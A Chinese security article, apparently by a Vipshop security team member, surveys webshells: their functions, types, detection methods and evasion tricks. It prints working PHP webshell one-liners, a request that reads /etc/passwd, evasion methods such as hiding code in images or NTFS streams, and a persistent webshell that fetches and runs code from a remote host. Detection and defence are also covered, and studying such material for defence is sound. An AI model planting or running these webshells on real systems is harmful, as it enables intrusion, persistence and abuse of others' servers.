神刀安全网

那些年黑客用过的WebShell之技术总结

前言:

301公众号平台跟唯品会安全应急响应中心达成 深度合作 ,唯品会安全团队会坚持安全分享的态度,携手301团队共同打造 内容分享平台 。:)如果你也想分享有价值的内容,欢迎加入我们。

本文为唯品会安全应急响应中心的同学原创。:)

这是一遍针对WebShell的总结性文档,如果您已经熟知这方面的知识,请直接跳入本文档底部找你需要的干货。本篇内容是对附件中PPT的阐述和补充。

百度:WebShell就是以ASP、PHP、JSP或CGI等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。

什么时候需要WebShell?

差不多我人生第一次真正意义上拿下一个网站,依靠的是雷傲BBS的一个上传漏洞。在一个CGI后门 cmd.cgi 的帮助下,我最终拿到了系统管理员权限。

通常,遇到如下场景你会非常需要一个WebShell:

  • 你发现并利用了一个网站的漏洞

  • 得到了Web权限但没有系统权限

  • 希望下一次能够 优雅 地连接系统

主要功能

在不同的使用场景和运行环境下,WebShell的功能不尽相通。典型的WebShell功能主要包括以下类别:

  • 环境探针

  • 资源管理

  • 文件编辑

  • 执行OS命令

  • 读取注册表

  • 创建Socket

  • 调用系统组件

以执行命令为例,WebShell可以调用脚本文件的内部函数执行操作系统shell命令。只要权限足够,你可以无限发挥这一功能。

<?php echo system($_GET['cmd']); ?>

那些年黑客用过的WebShell之技术总结

扩展功能

事实上经过业界多年的应用和扩展,WebShell的功能也越来越强大。在一些特定的场景下,WebShell往往能够发挥超强的杀伤力。

权限提升

一般情况下WebShell的权限等同于Web Server的权限,如需更高级的系统权限需要提升shell的执行权限。某些功能强的的WebShell可协助攻击者从IIS/Apache/Nginx等Web Server的权限提升到操作系统Administrator/Root权限。

DDoS

利用Web服务器的计算能力、带宽资源发起DDoS攻击,可以替代传统僵尸网络中需要植入木马的客户端。

网页挂马

篡改网页代码内容,植入恶意JS代码,从而实现刷流量,盗Cookie;更有甚者针对访问者植入针对浏览器或控件的0Day攻击代码。

“黑帽”SEO

只能说这是一个很大的产业链,通过页面劫持可以实现针对爬虫和真实用户返回不同的内容。你在搜索引擎中看到很多gov网站的标题不堪入目,通常是这个网站已经沦陷的充分证明。想看效果,自行百度“ inurl: gov.cn 六合彩 ”。

代理服务器

网站被拿下用作代理服务器是常有的事。众所周知通常网站都不输在IDC机房,计算能力和带宽资源非常丰厚,用作代理服务器是相当不错的选择。特别是你要访问某些海外资源时,能有个IDC的服务器帮你做个摆渡,速度会快不少。

端口扫描

利用Web服务器作为扫描器虽然效率低且未必能充分满足要求,但在一定程度上能够非常有效地隐蔽攻击者的身份。

内网探测

Web服务器往往能够和内网中其它服务器直接进行通讯,例如数据库服务器、LDAP服务器等。充分利用WebShell的这一优势,可助内网渗透攻击一臂之力。内网服务器之间安全策略较为宽松,请求响应延迟低,WebShell是刺探内网情报的最佳工具之一。

发挥你的想象

WebShell强大的功能,完全取决于你的想象力!

基于功能强弱的分类

全功能型:什么都能做

WebShell界的十项全能。当然,功能强大的基础是代码量大。其字符串特征明显,容易被安全工具查杀。

资源管理:文件和目录管理

通常这类WebShell被称为 站长管理工具 ,方便站长在线编辑网站文件。当然也可以用于恶意操作:)

命令执行:执行系统命令

顾名思义,该WebShell只负责执行系统命令。如果系统命令用得熟,也是什么都能干的!举个例子:

http://www.example.com/cmd.php?cmd=cat /etc/passwd

上传型:负责上传“大马”

在某些特殊场景下,攻击者无法上传一个长度超过几百K的全能型WebShell,此时可以选择先上传一个简单的“中继器”。该中继WebShell只负责一个功能,提供在服务器创建新的文件的能力。 

一句话型:短小精悍

顾名思义该WebShell的代码只有一行。因为其短小精悍,已然成为居家旅行,杀人灭口,渗透测试的必备工具。一句话WebShell通常用于执行客户端传递过来的脚本代码,而不是某个功能或模块的参数。这给WebShell功能扩展提供了巨大的想象空间。典型的一句话WebShell代码如下:

<?php eval($_POST['code']); ?>

WebShell检测思路

WebShell检测是攻防对抗中的一个重要环节,是安全防护人员必修之课。如何快速检测Web Server是否已经被WebShell控制,对网站安全来说至关重要。以下是典型的WebShell检测思路:

关键字检查

关键字匹配是最常见的检测方法, 例如一句话WebShell中的eval函数名就是非常危险的关键字。 主要依赖检测者WebShell特征库的大小和强弱。同时特征匹配本身也存在误报和漏报的问题。

文件状态对比

Web Server上增加或修改了一个文件一定可以通过技术手段发现。目前已有类似的安全产品,定期扫描服务器上文件的变化,甚至比对每一个文件当前和历史的MD5数值,快速定位可疑文件。

运行特征检测

部署在服务器上的WebShell最终是要被访问的。识别WebShell可以从一些反常的请求行为上做判断,例如:非工作时间无明显业务参数的连续脚本文件请求。

审核代码逻辑

通过人工或软件的方式对代码运行逻辑进行检查,通常被称为白盒检测。严格审核代码的逻辑是可以精确发现WebShell,但现状是: 人工方式效率非常低下,工具检测误报严重。

WebShell检测规避

当然,为了规避各种检测手段,业界也由很多典型的检测规避措施。以下措施能够在一定程度上降低WebShell被检测出来的机率。

主流方法

  • 字符混淆 OR 变量生成关键字

为了规避关键检测,可以通过一些变量组合的方式生成函数关键字。

  • 文件包含

将WebShell文件拆分成2个以上文件,通过include方式载入主体文件是常用的规避检测方式。最典型的是将WebShell功能代码写到JPG文件,然后再包含到脚本文件。

<?php include "images/logo.jpg"; ?>

奇思妙想

看不见的文件名:全角中文空格作为文件名,真正的代码在这个看不见文件名的文件中,例如:

<?php include " "; ?>

  • 隐藏目录:虚拟目录、NTFS数据流

如果攻击者可以操作Web Server配置文件,可以将WebShell文件放在非网站目录下,从而绕过文件检查。也可以利用Windows NTFS数据流特征创建神奇的WebShell文件,例如:

<?php include "./test.php:.txt"; ?>

其中./test.php:.txt这个文件无法在资源管理器看到,命令行下的大小为0。

  • 利用HTTP:数据通过HTTP HEAD或Cookie传递

绝大多数WebShell的数据交互式是在HTTP协议的Body区段完成的,如果将指令放在HTTP HEAD中,可以绕过各种拦截工具的检查

  • 借助数据库:将shell关键代码存放在数据库中

代码存放在数据库中,WebShell将更加隐蔽。这给查杀也带来了巨大的挑战。

WebShell高级攻防技巧

三种姿势检测WebShell

下图是典型WebShell请求和响应时序图,是WebShell行为特征的抽象代表:

那些年黑客用过的WebShell之技术总结

稍作总结即可发现,至少有3个环节可以用于WebShell监测:

  • WebShell文件特征

  • WebShell请求的HTTP特征

  • WebShell响应的HTTP特征

这里推荐Mod Security这款开源WAF(Web Application Firewall),它能够在Web Server上有效拦截Web各类攻击以及拦截WebShell的请求响应。

打破规则:请求响应分离

仔细体会WebShell监测3大环节,你一定会有所收获。事实上,请求响应环节完全可以规避,从而躲过各类WAF的查杀。其核心的思想是:

  • 减少字符特征

  • 远程加载指令

  • 请求响应分离

    • 无HTTP请求特征

    • 无HTTP响应特征

具体实现思路的时序图如下:

那些年黑客用过的WebShell之技术总结

  • 第1环节无任何特征

  • 第2和4环节由Web Server对外发起,不经过WAF

  • 第3环节仅执行代码,无落地文件

  • hacker1.com和hacker2.com可以是一台服务器

还能再精彩点吗?

基于以上思路,我结合了脚本文件的一些特征,开发了一套支持任务发布的批量WebShell管理工具。

加载远程指令

<?php include('http://example.com/logo.png'); ?>

如果PHP环境变量allow_url_include = off,可以使用下面的代码替代:

<?php 
@file_put_contents('_',@file_get_contents('http://127.0.0.1/x.png')); @include('-'); @delete('_');
?>

logo.png的返回内容完全由example.com控制。

利用死循环

首先该WebShell只需一次请求即可,以后的指令是WebShell自己从远程服务器周期性加载的,这完全规避了访问行为检测。 以PHP为例,程序启动后可以不再响应浏览器的关闭动作,同时进入死循环工作状态。首次加载远程代码时可以带上下面的代码:

<?php
ignore_user_abort(true); set_time_limit(0);
?>

只要Apache/Nginx不重启,这个WebShell会一直处于运行状态并定时请求远程指令。

任务分发

如果只是通过一般的webshell客户端管理工具来维护WebShell,那么绝大多数情况下WebShell都是静躺在磁盘中的,价值完全没有被充分发挥。本Shell管理系统则完全不同,充分发掘了WebShell的价值。随着被管理的WebShell逐渐增多,还可以开发一套独立的管理界面进行管理。

由于每个WebShell有自身的运行ID,因此可以针对不同的WebShell发布不同的指令执行不同的任务:

  • 执行一段神奇的代码

  • 集中DoS某个目标网站

  • 运行一个刷票插件

  • 开挖比特币

  • 展开你的想象

下图是个示例,不代表本人真的使用过:)

那些年黑客用过的WebShell之技术总结

最后:

网站后门之WebShell技术分享.PPT,请回复『 webshell 』获取下载地址。

301强烈推荐内容,想必您会喜欢

1、 安全观点:企业信息安全十大痛点,你中招了?

2、 成长型互联网企业该如何构建安全团队—第一季

3、 这才是互联网与安全团队需要的几种人才!

5、 少年黑客:我的初恋女友,你在哪里?

6、 开春巨献!全球TOP500安全公司到底在做些什么

7、 2015年至今国内信息安全领域那些投资那些事

8、 301:浅谈互联网安全现状与攻击趋势

9、 招人必看!301浅谈国内安全人才薪酬现状

10、 301:从安全角度浅谈云计算服务平台现状与发展

长按二维码,关注301在路上。

微信:2036234

那些年黑客用过的WebShell之技术总结

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 那些年黑客用过的WebShell之技术总结

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址